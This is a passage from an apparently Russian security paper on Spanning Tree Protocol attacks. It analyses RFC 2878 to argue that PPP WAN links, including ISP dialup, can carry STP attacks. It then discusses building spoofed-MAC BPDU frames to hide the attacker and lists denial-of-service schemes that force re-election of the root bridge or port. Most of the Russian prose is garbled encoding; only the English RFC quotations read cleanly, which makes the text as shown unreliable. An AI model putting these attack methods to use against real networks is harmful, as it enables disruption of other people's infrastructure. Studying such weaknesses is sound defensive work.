4 Çàìå÷àíèÿ, âûòåêàþùèå èç àíàëèçà RFC 2878
Ñîãëàñíî RFC 2878:

Two basic algorithms are ambient in the industry for Bridging
of Local Area Networks. The more common algorithm is called
¾Transparent Bridging¿, and has been standardized for Extended
LAN configurations by IEEE 802.1. The other is called ¾Source
Route Bridging¿, and is prevalent on IEEE 802.5 Token Ring

7Äà ïðîñòÿò íàì ýòî îáîáùåíèå ëþáèòåëè òî÷íûõ îïèñàíèé ;)
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Ðèñ. 6: Ïðèìåð ôèçè÷åñêîé ñòðóêòóðû ñåòè
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LANs.

Ïîñêîëüêó RFC äîñòóïíû â âèäå ASCII-òåêñòîâ, èõ öèòèðîâàíèå ãî-
ðàçäî óäîáíåå, ÷åì IEEE-ñòàíäàðòîâ, ðàñïðîñòðàíÿåìûõ â ôîðìàòå pdf
(ñì. ðàçäåë 20). Â ýòîì ðàçäåëå öèòàòû èç RFC 2878 â ñâÿçè ñ áîëüøèì èõ
êîëè÷åñòâîì áóäóò ïðîñòî áðàòüñÿ â êàâû÷êè è âûäåëÿòüñÿ â îòäåëüíûé
àáçàö, áåç ñïåöèàëüíîãî óïîìèíàíèÿ î òîì, êàêîé èìåííî öèòèðóåòñÿ
äîêóìåíò - äîñòàòî÷íî îäíîãî ðàçà.

The implementor may model the line either as a component
within a single MAC Relay Entity, or as the LAN media between
two remote bridges.

The IEEE 802.1G Remote MAC Bridging committee has proposed
a model of a Remote Bridge in which a set of two or more Remote
Bridges that are interconnected via remote lines are termed a
Remote Bridge Group. Within a Group, a Remote Bridge Cluster
is dynamically formed through execution of the spanning tree as
the set of bridges that may pass frames among each other.

We allow for modelling the line either as a connection residing
between two halves of a ¾split¿ Bridge (the split-bridge model),
or as a LAN segment between two Bridges (the independent-
bridge model). In the latter case, the line requires a LAN Segment
ID. By default, PPP Source Route Bridges use the independent-
bridge model.

Given that source routing is configured on a line or set of lines,
the specifics of the link state with respect to STE frames are
defined by the Spanning Tree Protocol in use. Choice of the split -
bridge or independent-bridge model does not affect spanning tree
operation. In both cases, the spanning tree protocol is executed
on the two systems independently8.

Òàêèì îáðàçîì, äëÿ ñèñòåì, èñïîëüçóþùèõ ¾Source Route Bridging¿,
STP-àòàêè èç óäàëåííîãî ñåãìåíòà âî ìíîãèõ ñëó÷àÿõ íå ñòðàøíû. Âíóò-
ðè òàêèõ ñèñòåì, ñîåäèíåííûõ WAN-ëèíêîì, ñóùåñòâóþò íåçàâèñèìûå
STP-äåðåâüÿ, òàê ÷òî ìàêñèìóì, ÷åãî ìîã áû äîáèòüñÿ àòàêóþùèé - îïóñ-
òèòü WAN-link, ïåðåäàâàÿ STP ïàêåòû îò èìåíè óäàëåííîãî designated
root. Îäíàêî äàæå ýòî ìîæåò îêàçàòüñÿ íåâîçìîæíûì - ñìûñë â ïîääåðæ-
êå STP ïàêåòîâ äëÿ ëèíêà ìåæäó äâóìÿ ðàçëè÷íûìè STP-ñóùíîñòÿìè
íå î÷åâèäåí.

8Çäåñü STE frame - Spanning Tree Explorer frame - ñïåöèôè÷íûé äëÿ 802.5 MAC
ôðåéì.
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The Bridging Control Protocol (BCP) is responsible for configuring,
enabling and disabling the bridge protocol modules on both ends
of the point-to-point link.

BCP packets may not be exchanged until PPP has reached the
Network-Layer Protocol phase.

Before any Bridged LAN Traffic or BPDUs may be communicated,
PPP MUST reach the Network-Layer Protocol phase, and the
Bridging Control Protocol MUST reach the Opened state.

Èç ãëàâû 4.1.4. [5] ¾Separation of Spanning Tree Domains¿

It is conceivable that a network manager might wish to inhibit
the exchange of BPDUs on a link in order to logically divide two
regions into separate Spanning Trees with different Roots (and
potentially different Spanning Tree implementations or algorithms).
In order to do that, he should configure both ends to not exchange
BPDUs on a link. An implementation that does not support any
spanning tree protocol MUST silently discard any received IEEE
802.1D BPDU packets.

Òî åñòü, âî-ïåðâûõ, àäìèíèñòðàòîð ìîæåò ðàçäåëèòü STP â ñâÿçàííûõ
WAN ëèíêîì ñåòÿõ ïîñðåäñòâîì âûêëþ÷åíèÿ STP íà îáîèõ êîíöàõ. Âî-
âòîðûõ, åñëè ïîäöåïèòü íåñîâìåñòèìûé ñ STP ñâèò÷, òî ñîãëàñíî ýòîìó
RFC îí äîëæåí óíè÷òîæàòü STP-ïàêåòû. Ïðè÷åì, ïîñëå ïðî÷òåíèÿ ýòîé
ãëàâû îñòàåòñÿ òàêîå âïå÷àòëåíèå, ÷òî ïî óìîë÷àíèþ STP õîäèò è åãî
íàäî ñïåöèàëüíî âûêëþ÷àòü, ÷òîáû ýòî ïîâåäåíèå îòìåíèòü. Âèäèìî â
ýòîì ìåñòå àâòîðû RFC çàáûëè îáðàòèòü âíèìàíèå íà òî, ÷òî ýòî îòíî-
ñèòñÿ íå ê ¾Source Route Bridging¿ (èíà÷å ïîëó÷àåòñÿ ïðîòèâîðå÷èå), à
ê ¾Transparent Bridging¿.

Ñòîèò ñêàçàòü ïàðó ñëîâ îá RFC 1638, â êîòîðîì îïèñàí ñòàðûé àëãî-
ðèòì ðàáîòû ïðîòîêîëà BCP è ïðî÷èå ïîäðîáíîñòè, â òîì ÷èñëå ïåðå-
ñìîòðåííûå â [5]. Îñíîâíîé ñìûñë (ñ òî÷êè çðåíèÿ òåìàòèêè ýòîé ñòàòüè)
ñâîäèòñÿ ê òîìó, ÷òî â ñòàðûõ âåðñèÿõ PPP BCP íåêîòîðûå ïàðàìåò-
ðû íå èñïîëüçîâàëèñü, îäíàêî óñòðîéñòâà, ðàáîòàþùèå ïî ñïåöèôèêàöèè
RFC 1638, òàêæå ñïîñîáíû ïåðåäàâàòü STP-BPDU. Ñ òî÷êè çðåíèÿ STP
àòàê íå âàæíî, êàêîé RFC îïðåäåëÿåò èõ õîæäåíèå - ãëàâíîå, ÷òî îíè
õîäÿò. Ñîáñòâåííî, ôîðìàò ôðåéìîâ ïðîõîäÿùèõ ïî PPP WAN ëèíêó
îïðåäåëÿåòñÿ â [5] â ãëàâàõ 4.2 è 4.3, à íåìíîãî íèæå â [5], â ãëàâå 4.4, ãî-
âîðèòñÿ, ÷òî äëÿ îïðåäåëåíèÿ êîððåêòíîé òîïîëîãèè, ñîñòîÿíèÿ VLAN,
ðåãèñòðàöèè ó÷àñòèÿ â ìóëüòèêàñòîâûõ ãðóïïàõ ìîñòû (èëè ñâèò÷è, à ñ
òî÷êè çðåíèÿ ýòîé ñòàòüè - ïðîñòî íåêèå óñòðîéñòâà ïîääåðæèâàþùèå
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äàííûå ïðîòîêîëû) îáìåíèâàþòñÿ BPDU ïî ñïåöèôèêàöèè STP, GVRP,
GMRP (è âîîáùå GARP):

To avoid network loops and improve redundancy, Bridges exchange
a Spanning Tree Protocol data unit known as BPDU. Bridges
also exchange a Generic Attributes Registration Protocol data
unit to carry the GARP VLAN Registration Protocol (GVRP)
data and GARPMulticast Registration Protocol (GMRP). GVRP
allow the Bridges to create VLAN groups dynamically. GMRP
allows bridges to filter Multicast data if the receiver is absent
from the network. These Bridge protocols include Spanning Tree
Protocol and GARP protocols data units are carried with a special
destination address assigned by the IEEE.

Íó, è, íàêîíåö, â ñëåäóþùåì àáçàöå îïðåäåëÿåòñÿ ñàìîå ãëàâíîå â êîí-
òåêñòå STP-àòàê:

These bridge protocols data units and GARP protocol data units
must be carried in the frame format shown in section 4.2 or 4.3.

Ñ îãîâîðêîé, î ñîâìåñòèìîñòè ñî ñòàðûìè óñòðîéñòâàìè, íî òåì íå
ìåíåå îáÿçàòåëüíîé ïîääåðæêîé ýòèõ ïðîòîêîëîâ, à çíà÷èò è STP:

But there is one exception to this rule: if the bridge is connected
to an old BCP bridge [10]9 and can support backward compatibility,
it MUST send the BPDU in the old format described in Appendix
A.

Ðåçþìèðóåì: â ïðèíöèïå PPP WAN ëèíêè ìîãóò ñëóæèòü ïåðåíîñ÷è-
êàìè STP àòàê.

Òåïåðü î äåòàëÿõ. Â BCP ìåòîäèêà äåéñòâèé ñõîäíà ñ PPP LCP:

BCP uses the same packet exchange mechanism as the Link
Control Protocol.

LCP, ãðóáî ãîâîðÿ, ñëóæèò äëÿ îïðåäåëåíèÿ òîãî, êàêèå ïîòåíöèàëü-
íî âîçìîæíûå îïöèè óñòàíàâëèâàåìîãî ëèíêà áóäóò ïðèìåíåíû â äàí-
íîì êîíêðåòíîì ñîåäèíåíèè. Â PPP LCP èñïîëüçóåòñÿ ñèñòåìà îáìåíà
çàïðîñ/îòâåò. Àíàëîãè÷íûé ïîäõîä è â BCP:

If a Configuration Option is not included in a Configure-Request
packet, the default value for that Configuration Option is assumed.

9Çäåñü ññûëêà [10] - ññûëêà íà RFC 1638.
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Òî åñòü ìîãóò èñïîëüçîâàòüñÿ êàêèå-òî çíà÷åíèÿ ïî óìîë÷àíèþ. Êà-
êèå æå? Äàâàéòå ïîñìîòðèì - íèæå áóäóò çàìå÷àíèÿ ïî ýòèì çíà÷åíèÿì,
à ïîêà ñòîèò âçãëÿíóòü íà ãëàâó 5.6 â [5]. Ýòà ãëàâà îïèñûâàåò ïîâåäå-
íèå óñòðîéñòâ ïðè ðàáîòå ñ STP. Ïåðâûì æå àáçàöåì èäåò îïðåäåëåíèå
ñîâìåñòèìîñòè ñî ñòàðûì ôîðìàòîì (RFC 1638):

The Spanning-Tree-Protocol Configuration enables a Bridge to
remain compatible with older implementations of BCP [10]10.This
configuration option is, however, incompatible with the Management-
Inline option, which enables a bridge to implement the many
protocols that IEEE now expects a bridge to be able to use.

Äàëåå îïðåäåëÿåòñÿ âîçìîæíîå ïîâåäåíèå ñèñòåìû, â ñëó÷àå, åñëè íà
äðóãîì êîíöå ñòîèò óñòðîéñòâî, ðàáîòàþùåå ïî RFC 1638, è ïðè ýòîì
âûáèðàåòñÿ ñîâìåñòèìûé ñ íèì àëãîðèòì ðàáîòû:

If both bridges support a spanning tree protocol, they MUST
agree on the protocol to be supported. The old BPDU described
in Appendix A MUST be used rather than the format shown in
section 4.2 or 4.3. When the two disagree, the lower-numbered
of the two spanning tree protocols should be used. To resolve the
conflict, the system with the lower-numbered protocol SHOULD
Configure-Nak the option, suggesting its own protocol for use.
If a spanning tree protocol is not agreed upon, except for the
case in which one system does not support any spanning tree
protocol, the Bridging Control Protocol MUST NOT enter the
Opened state.

Çäåñü ñòîèò ñäåëàòü ñëåäóþùèé êîììåíòàðèé - ñîãëàñíî RFC 2878
Spanning Tree ïðîòîêîëîâ íåñêîëüêî, êàæäûé èç êîòîðûõ ïðîíóìåðîâàí
ñîãëàñíî RFC 1700 [7]:

0 Null (no Spanning Tree protocol supported)
1 IEEE 802.1D spanning tree
2 IEEE 802.1G extended spanning tree protocol
3 IBM Source Route Spanning tree protocol
4 DEC LANbridge 100 Spanning tree protocol

Î÷åâèäíî, âñå ýòè ïðîòîêîëû èìåþò íåêèå îáùèå ñâîéñòâà, ïîçâîëÿþ-
ùèå íàçûâàòü èõ Spanning Tree ïðîòîêîëàìè, ÷òî, êñòàòè, íàòàëêèâàåò
íà ìûñëü, ÷òî âñå îíè ìîãóò áûòü ïîäâåðæåíû, êàê ìèíèìóì ÷àñòè îïè-
ñûâàåìûõ çäåñü àòàê íà Spanning Tree Protocol11, ïðîíóìåðîâàííûé â [7]

10Çäåñü ññûëêà [10] - ññûëêà íà RFC 1638.
11Â äàííîé ñòàòüå ïîêà ðàññìàòðèâàåòñÿ òîëüêî IEEE ðåàëèçàöèÿ STP, îäíàêî â

äàëüíåéøåì ìû ïëàíèðóåì âêëþ÷èòü àíàëèç è îñòàëüíûõ ðåàëèçàöèè ST-àëãîðèòìà.
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êàê 1. Ïîñêîëüêó ÷àñòü ñêàçàííîãî â äàííîé ñòàòüå îòíîñèòñÿ ê Spanning
Tree àëãîðèòìó âîîáùå, òî ñëàáîñòü ýòèõ ïðîòîêîëîâ î÷åâèäíà.

Ïðèëîæåíèå A â [5] ñîäåðæèò àíàëîãè÷íóþ òàáëèöó äëÿ çíà÷åíèé ïå-
ðåäàâàåìûõ â ïîëå èäåíòèôèêàòîðà STP ïðîòîêîëà, ñîãëàñíî [7]:

Value (in hex) Protocol
0201 IEEE 802.1 (either 802.1D or 802.1G)
0203 IBM Source Route Bridge
0205 DEC LANbridge 100

Äàëåå äåêëàðèðóåòñÿ âîçìîæíîñòü PPP WAN ëèíêîâ ðàáîòàòü ñðàçó
ñ íåñêîëüêèìè òèïàìè STP:

Most systems will only participate in a single spanning tree proto-
col. If a system wishes to participate simultaneously in more than
one spanning tree protocol, it MAY include all of the appropriate
protocol types in a single Spanning-Tree-Protocol Configuration
Option.

À âîò åùå îäíî âàæíîå çàìå÷àíèå: åñëè óñòðîéñòâà íà îáîèõ êîíöàõ
íå ìîãóò ïðèéòè ê ñîãëàñèþ ïî ïîâîäó òîãî, êàêîé STP ïðîòîêîë èñ-
ïîëüçîâàòü, òî âûèãðûâàåò ïðîòîêîë ñ ìåíüøèì íîìåðîì, òî åñòü, IEEE
ðåàëèçàöèÿ, åñëè STP âîîáùå ïîääåðæèâàåòñÿ, êîíå÷íî:

When the two disagree, the lower-numbered of the two spanning
tree protocols should be used. To resolve the conflict, the system
with the lower-numbered protocol SHOULD Configure-Nak the
option, suggesting its own protocol for use. If a spanning tree
protocol is not agreed upon, except for the case in which one
system does not support any spanning tree protocol, the Bridging
Control Protocol MUST NOT enter the Opened state.

Âûäåëåííîå çàãëàâíûìè áóêâàìè âåñüìà âàæíî - åñëè ñ îáîèõ ñòîðîí
ïîääåðæèâàåòñÿ STP, òî îí äîëæåí îáÿçàòåëüíî áûòü èñïîëüçîâàí. Äà-
ëåå ñêàçàíî, ÷òî ïî óìîë÷àíèþ ëèáî STP ïîääåðæèâàåò õîòÿ áû IEEE
ðåàëèçàöèþ, ëèáî íå ïîääåðæèâàåòñÿ âîâñå:

By default, an implementation MUST either support the IEEE
802.1D spanning tree or support no spanning tree protocol.
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Òåïåðü ðàññìîòðèì ýòó ñèòóàöèþ â ñëåäóþùåì òåîðåòè÷åñêîì ñëó÷àå,
î÷åíü áëèçêîì ê ïîâñåìåñòíîé ïðàêòèêå. Äîïóñòèì, ìû èìååì ISP ñ
dialup äîñòóïîì, ïîñòðîåííîì íà ìàðøðóòèçàòîðå äîñòóïà. Åñëè ýòîò
ìàðøðóòèçàòîð äîñòóïà ïîääåðæèâàåò STP (íàïðèìåð, ìíîãèå ìîäåëè
Cisco), òî, âåðîÿòíî, PPP ëèíêè, êîòîðûå îðãàíèçóþòñÿ ìåæäó ISP è
åãî êëèåíòîì, áóäóò ïîääåðæèâàòü STP ñî ñòîðîíû ISP. Â íîðìàëüíîé
ñèòóàöèè PPP êëèåíòû íå çàïðàøèâàþò ïîääåðæêó STP ïðîñòî çà íåíà-
äîáíîñòüþ, îäíàêî, åñëè âìåñòî îáû÷íîãî ïîëüçîâàòåëÿ PPP ñîåäèíåíèå
ñ ïðîâàéäåðîì óñòàíîâèò âðåäèòåëü, îí, âåðîÿòíî, ñìîæåò, ìîäèôèöèðî-
âàâ ïðîöåäóðó óñòàíîâëåíèÿ PPP ñîåäèíåíèÿ, ðåàëèçîâàòü ÷àñòü STP-
àòàê íà ñåòü ïðîâàéäåðà.

Ñòîèò çàìåòèòü, ÷òî ñîãëàñíî ãëàâå 5.7 [5], ïî WAN ëèíêàì ìîæåò
òàêæå ïåðåäàâàòüñÿ èíôîðìàöèÿ î VLAN (è ïðî÷èõ îïöèÿõ îïðåäåëÿ-
åìûõ òåãèðîâàííûìè ôðåéìàìè 802.1q [4]). Ïðè ýòîì îïðåäåëåíî, ÷òî
åñëè óäàëåííîå óñòðîéñòâî íå çàÿâèëî î ïîääåðæêå 802.1q, òî òåãèðî-
âàííûå ôðåéìû íå äîëæíû åìó ïîñûëàòüñÿ. Îäíàêî ñèòóàöèÿ, ïðè êî-
òîðîé çëîóìûøëåííèê áóäåò ïîñûëàòü ñî ñâîåé ñòîðîíû òàêèå ôðåéìû
íå îïðåäåëåíà, ÷òî ïîçâîëÿåò ïðåäïîëîæèòü ðàçëè÷íóþ ðåàêöèþ ñî ñòî-
ðîíû óñòðîéñòâ ðàçëè÷íûõ ïðîèçâîäèòåëåé:

By default, IEEE 802 Tagged Frame is not supported. A system
which does not negotiate, or negotiates this option to be disabled,
should never receive a IEEE 802 Tagged Frame.

Íå ñëåäóåò çàáûâàòü, ÷òî ïîìèìî PPP ñóùåñòâóþò åùå è äðóãèå WAN-
ëèíêè, íàïðèìåð, ADSL based, íà êîòîðûå åñòü ñâîè ñòàíäàðòû. Îíè
òàêæå ìîãóò äîïóñêàòü ñâîáîäíîå õîæäåíèå STP ïî óìîë÷àíèþ - ýòî
äîòîøíûé ÷èòàòåëü ìîæåò âûÿñíèòü ñàìîñòîÿòåëüíî.

5 Êîììåíòàðèè ê íàïèñàíèþ êîäà, ãåíåðèðóþ-
ùåãî STP ïàêåòû

Ãëàâà 8.3.2 â [1] ñîäåðæèò ñëåäóþùóþ ôðàçó: ¾A MAC frame conveyng
a BPDU¿. Ýòî çíà÷èò, ÷òî BPDU ýòî ïàêåò, à íå ôðåéì. Òàêèì îáðàçîì,
íåò íåîáõîäèìîñòè êîíñòðóèðîâàòü ôðåéìû ñàìîñòîÿòåëüíî, ïîñêîëüêó
îíè ñòàíäàðòíû äëÿ äàííîé ôèçè÷åñêîé ñðåäû - ìû ìîæåì êîíñòðóèðî-
âàòü BPDU ïàêåòû âûøå, ÷åì ñàìûé íèæíèé ïîäóðîâåíü 2-ãî óðîâíÿ
OSI. Èíà÷å ãîâîðÿ, ìîæíî îòâÿçàòü ïðîãðàììó êîíñòðóêòîð BPDU îò
êîíñòðóêòîðà ôðåéìîâ, îñòàâèâ ôóíêöèþ èíêàïñóëÿöèè ñîîòâåòñòâóþ-
ùåìó äðàéâåðó. Îäíàêî, àâòîðû âûáðàëè äëÿ ñâîèõ èññëåäîâàíèé ñî-
çäàíèå ïðîãðàììíîãî ìîäóëÿ, êîíñòðóèðóþùåãî BPDU íàïðÿìóþ. Èñ-
õîäíûé òåêñò ìîäóëÿ íà ÿçûêå C è ñöåíàðèé íà ÿçûêå bash äëÿ áîëåå
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óäîáíîãî ìàíèïóëèðîâàíèÿ ïàðàìåòðàìè êîìàíäíîé ñòðîêè ïðèâåäåíû
â ïðèëîæåíèÿõ12.

×åì õîðîøî ñîçäàíèå ôðåéìîâ íàïðÿìóþ:

1. Ìîæíî ñòàâèòü ïðîèçâîëüíûé MAC-àäðåñ èñòî÷íèêà, ÷òî çíà÷è-
òåëüíî îñëîæíÿåò îïðåäåëåíèå ðåàëüíîãî èñòî÷íèêà àòàêè. Äî òåõ
ïîð ïîêóäà íå ïðèìåíÿåòñÿ íàñèëüñòâåííûé line-jamming (çàÿâêà
êîëëèçèé â èõ îòñóòñòâèå â CSMA/CD ñåòÿõ [6]), ñåãìåíò, èç êîòî-
ðîãî îñóùåñòâëÿåòñÿ àòàêà, íè÷åì íå îòëè÷àåòñÿ îò ëþáîãî äðóãîãî
ñåãìåíòà, ïîñêîëüêó äàííàÿ àòàêà íàðóøàåò èñêëþ÷èòåëüíî ðàáîòó
êîììóòàòîðîâ, òî åñòü ìåæñåãìåíòíîå ñîåäèíåíèå, íî íå ðàáîòó â
ïðåäåëàõ ñåãìåíòà.

2. Åñëè êîíñòðóèðîâàòü ôðåéìû ñàìîñòîÿòåëüíî, ìîæíî äîáèòüñÿ ñè-
òóàöèè ïðè êîòîðîé àòàêà èäåò êàê áû ïàðàëëåëüíî ñ íîðìàëüíîé
ðàáîòîé, ìàñêèðóÿ òàêèì îáðàçîì àòàêóþùåãî çà ñ÷åò ïåðåäà÷è
ïàêåòîâ ñ ¾ôàëüøèâîãî¿ MAC àäðåñà îäíîâðåìåííî ñ íîðìàëüíîé
ðàáîòîé â ñåòè ñî ¾ñâîåãî¿ MAC àäðåñà.

3. Ïî ìíåíèþ àâòîðîâ, ïîêà íå ñóùåñòâóåò ñòàíäàðòíîãî (îäèíàêîâîãî
äëÿ âñåõ ñèñòåì) ñïîñîáà ôîðìèðîâàòü BPDU èíà÷å, ÷åì êîíñòðó-
èðóÿ ôðåéìû ïîëíîñòüþ. Ýòî ãîâîðèò î òîì, ÷òî ðåàëèçàöèè àë-
ãîðèòìîâ òàêèì ìåòîäîì äëÿ FreeBSD, OpenBSD, Linux è äðóãèõ
OS áóäóò ñóùåñòâåííî ðàçëè÷íû, â ðåçóëüòàòå ÷åãî ëó÷øèì ñïî-
ñîáîì áóäåò âñå æå ïîñûëêà BPDU â ïîëíîñòüþ ñàìîñòîÿòåëüíî
ñêîíñòðóèðîâàííûõ ôðåéìàõ.

×åì ïëîõî ñîçäàíèå ôðåéìîâ, à íå ïàêåòîâ Spanning Tree:

1. Ïîñêîëüêó Spanning Tree ïðîòîêîë îïðåäåëåí äëÿ ðàçëè÷íûõ òèïîâ
MAC13, êîä ïîëó÷èòñÿ íåïåðåíîñèìûì ìåæäó íèìè.

Ethernet áûë âûáðàí àâòîðàìè èç-çà íàèáîëüøåé ðàñïðîñòðàíåííîñòè,
ïî ñðàâíåíèþ ñî âñåìè îñòàëüíûìè òèïàìè ñåòåé.

12Àâòîðû äîëãî íå ìîãëè ïðèéòè ê åäèíîìó ìíåíèþ: ñòîèò ëè äåëàòü ýòè òåêñòû
îáùåäîñòóïíûìè. Áåç ïîíèìàíèÿ ïðèíöèïîâ ðàáîòû STP è âûáîðà ïàðàìåòðîâ ýòè
òåêñòû íè÷åì íå ïîìîãóò ëè÷íîñòÿì ñ äåñòðóêòèâíûìè íàêëîííîñòÿìè, à ÷åëîâåê, êî-
òîðûé ðàçîáðàëñÿ â ñóòè óÿçâèìîñòè, ìîæåò âîñïîëüçîâàòüñÿ ëþáûì êîíñòðóêòîðîì
ïàêåòîâ. Â ñâÿçè ñ ýòèì, òåêñòû ðåøåíî áûëî âêëþ÷èòü â îòêðûòóþ ïóáëèêàöèþ.

13Media Access Control (óïðàâëåíèå äîñòóïîì ê ñðåäå ïåðåäà÷è äàííûõ). Íàïðèìåð,
Ethernet, Token Ring è ò.ï.
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Ïîìèìî íàïèñàíèÿ ñîáñòâåííûõ ïðîãðàìì åñòü âîçìîæíîñòü èñïîëü-
çîâàòü ãîòîâûå ïðîãðàììíûå ñðåäñòâà, îáåðíóâ èõ â ñêðèïòû íà ëþáîì
ïîäõîäÿùåì ÿçûêå, íàïðèìåð, perl èëè ÿçûêàõ shell - bash, zsh, ksh, csh
(ñì. ðàçäåë 9), ÷òî çíà÷èòåëüíî óïðîùàåò ðàáîòó ñ ïàðàìåòðàìè Span-
ning Tree. Îäíàêî ïðè ýòîì ïîÿâëÿåòñÿ äîïîëíèòåëüíîå óñëîâèå - Linux
ñ ÿäðîì, íàñòðîåííûì äëÿ ïîääåðæêè bridging ïëþñ ñîîòâåòñòâóþùèé
êîìïëåêò óòèëèò. Åùå îäíèì îòðèöàòåëüíûì ìîìåíòîì âûáîðà òàêîãî
ïóòè áóäåò íåîáõîäèìîñòü íàêëàäûâàíèÿ ïàò÷åé íà èñõîäíûé êîä Linux
bridging project â ñëó÷àå, åñëè ïîòðåáóåòñÿ ñêîíñòðóèðîâàòü àòàêó ñ ìî-
äèôèêàöèåé àëãîðèòìà ðàáîòû, âûõîäÿùåé çà ðàìêè ñòàíäàðòà, íàïðè-
ìåð, èçìåíèòü çíà÷åíèÿ òàéìåðîâ íà ìåíüøèå èëè áîëüøèå, ÷åì îïèñàíî
â ñòàíäàðòå.

Ñòîèò òàêæå ñêàçàòü íåñêîëüêî ñëîâ íà òåìó îñîáåííîñòåé ïðîãðàì-
ìèðîâàíèÿ ïîä ðàçíûå îïåðàöèîííûå ñèñòåìû è âûáîðà ÿçûêà:

Windows-ïîäîáíûå ñèñòåìû. Â ýòèõ ñèñòåìàõ, èñêëþ÷àÿ Windows
XP, íåò ïîääåðæêè raw sockets, ÷òî íå ïîçâîëÿåò áåç ñïåöèàëüíîãî
äðàéâåðà (VxD) êîíñòðóèðîâàòü ôðåéìû íàïðÿìóþ - êàê îáû÷íî
ãèáêîñòü windows ñèñòåì ¾èç êîðîáêè¿ îñòàâëÿåò æåëàòü ëó÷øå-
ãî. Ïîýòîìó ïîä windows ñèñòåìû è unix ñèñòåìû ýòî áóäóò ñîâñåì
ðàçíûå ðåàëèçàöèè. Íó, ðàçâå ÷òî, ïèñàòü íà perl, êîòîðûé, îäíàêî
óñòàíîâëåí íå íà êàæäîé windows ñèñòåìå. Åùå âàðèàíò - èñïîëü-
çîâàòü java, ïðèëîæåíèÿ íà êîòîðîé ìîæíî çàïóñêàòü àâòîíîìíî
ïðè ïîìîùè jre.

Unix-ïîäîáíûå ñèñòåìû. Â êà÷åñòâå ÿçûêà ëó÷øå âñåãî âûáðàòü C-
êîìïèëÿòîðû - îíè åñòü âî âñåõ unix-ïîäîáíûõ ñèñòåìàõ ïðàêòè÷åñ-
êè ïîä ëþáóþ ïëàòôîðìó. Âïðî÷åì, ìîæíî áûëî âûáðàòü è perl -
òàì òîæå åñòü raw-sockets. Âîçìîæíû ïðîáëåìû ïîðòèðîâàíèÿ íà
äðóãèå unix-ïîäîáíûå ñèñòåìû ñ linux, ò.ê. îòëè÷àþòñÿ íàçâàíèÿ
èíòåðôåéñîâ. Íî ýòî ìîæíî ëåãêî ðåøèòü ïðè ïîìîùè Makefile. À
âîò åñëè ðàçëè÷àþòñÿ API � ïðèäåòñÿ ïîòðóäèòüñÿ ïîáîëüøå.

6 Âîçìîæíûå ñõåìû àòàê
Èäåÿ ýòèõ àòàê ëåæèò íà ñàìîé ïîâåðõíîñòè. Ïîðàçèòåëüíî, ÷òî ïî-

òðàòèâ 3 ÷àñà íà ïîèñêè ÿ òàê è íå íàòêíóëñÿ íà ïîëíîå îïèñàíèå àòàê
âîçìîæíûõ ïðè ïîìîùè ïðîòîêîëà Spanning Tree - îäíè ëèøü íàìå-
êè è ÷àñòíûå ñëó÷àè. Âîçìîæíî èç-çà ëåíè àäìèíèñòðàòîðîâ? :-) Äëÿ
òîãî ÷òîáû óñòðîèòü Îòêàç â Îáñëóæèâàíèè ìîæíî âîñïîëüçîâàòüñÿ
òåì, ÷òî STP-ñîâìåñòèìûå óñòðîéñòâà â ìîìåíò ðåêîíôèãóðàöèè ðàáî-
òàþò íå íà ïîëüçîâàòåëÿ, à ëèøü íà ñîçäàíèå Spanning Tree äåðåâà. Ïî-
ñêîëüêó ðåêîíôèãóðàöèÿ ìîæåò áûòü âûçâàíà, â òîì ÷èñëå, ïîÿâëåíèåì

31



íîâîãî STP-ñîâìåñòèìîãî óñòðîéñòâà, ìîæíî èìèòèðîâàòü ïåðèîäè÷åñ-
êè ïîÿâëåíèå íîâîãî óñòðîéñòâà ñ ïàðàìåòðàìè, êîòîðûå áóäóò ëó÷øå
óñòàíîâèâøèõñÿ, ÷òî âûçîâåò ðåêîíôèãóðàöèþ (ïåðåâûáîðû) îäíîãî èç
âûáîðíûõ ïàðàìåòðîâ. Íåêîòîðûå (ãëóïûå) óñòðîéñòâà áóäóò ïûòàòü-
ñÿ ïåðåñìàòðèâàòü ñîñòîÿíèå âñåõ ïîðòîâ ïðè ïîÿâëåíèè ëþáîãî íîâîãî
óñòðîéñòâà äàæå ñ õóäøèìè (ñ òî÷êè çðåíèÿ âûèãðûøà â âûáîðàõ) ÷åì
ó íèõ ïàðàìåòðàìè. Íà áîëåå óìíîå æåëåçî ýòà àòàêà ìîæåò äåéñòâî-
âàòü èñêëþ÷èòåëüíî â ñëó÷àå ïîÿâëåíèÿ óñòðîéñòâà ñ ëó÷øèìè (ñ òî÷êè
çðåíèÿ STP) ïàðàìåòðàìè - â õóäøåì ñëó÷àå ìîæåò ïðîéòè ñîñòîÿíèå
ðåêîíôèãóðàöèè òîëüêî îäèí ïîðò. Îäíàêî äàæå òàêàÿ ñèòóàöèÿ áóäåò
ïðîòèâîðå÷èòü ñïåöèôèêàöèè ïðîòîêîëà [1], â êîòîðîì íå ïðåäóñìîòðåíà
ñèòóàöèÿ ïåðåêîíôèãóðàöèè óñòðîéñòâà, ê êîòîðîìó ïîäêëþ÷àþò äðó-
ãîå ñ õóäøèìè (ñ òî÷êè çðåíèÿ STP) ïàðàìåòðàìè. Ïîñêîëüêó ïðåäìåòîì
àòàêè ìîãóò áûòü ëþáûå ¾âûáîðíûå¿ çíà÷åíèÿ, ìû ìîæåì âûäåëèòü íå-
ñêîëüêî òèïîâ àòàê ïî èñïîëüçóåìûì ìåòîäàì èõ ïðîâåäåíèÿ:

1. Èíèöèàöèÿ ïåðåâûáîðîâ íàçíà÷åííîãî êîðíÿ äëÿ âñåé ñåòè.

2. Èíèöèàöèÿ ïåðåâûáîðîâ íàçíà÷åííîãî ìîñòà äëÿ ñåãìåíòà ñåòè.

3. Èíèöèàëèçàöèÿ ïåðåâûáîðîâ íàçíà÷åííîãî ïîðòà äëÿ ñåãìåíòà ñå-
òè.

Êàê áóäåò ïîêàçàíî íèæå â ðàçäåëå 6.4.5 ñëó÷àé 3) ÷àñòî ñîïóòñòâóåò
ñëó÷àþ 2).

Çäåñü è äàëåå ïîä ¾ëó÷øèì¿ ïîíèìàåòñÿ òàêîå çíà÷åíèå ïàðàìåòðà,
ñîäåðæàùåãîñÿ â BPDU, êîòîðîå ïîçâîëÿåò äîáèòüñÿ ðàññìàòðèâàåìîé
öåëè. ×àùå âñåãî ïîä ¾ëó÷øèì¿ áóäåò ïîíèìàòüñÿ òàêîå çíà÷åíèå ïàðà-
ìåòðà, êîòîðîå îáåñïå÷èò ïîáåäó â STP-âûáîðàõ.

Â êà÷åñòâå ïîáî÷íûõ ýôôåêòîâ STP-àòàê ìîãóò îáðàçîâûâàòüñÿ ¾ïà-
êåòíûå øòîðìû¿ âíóòðè ñåòè (â áîëüøèíñòâå ñëó÷àåâ - íåäîëãîâðåìåí-
íûå).

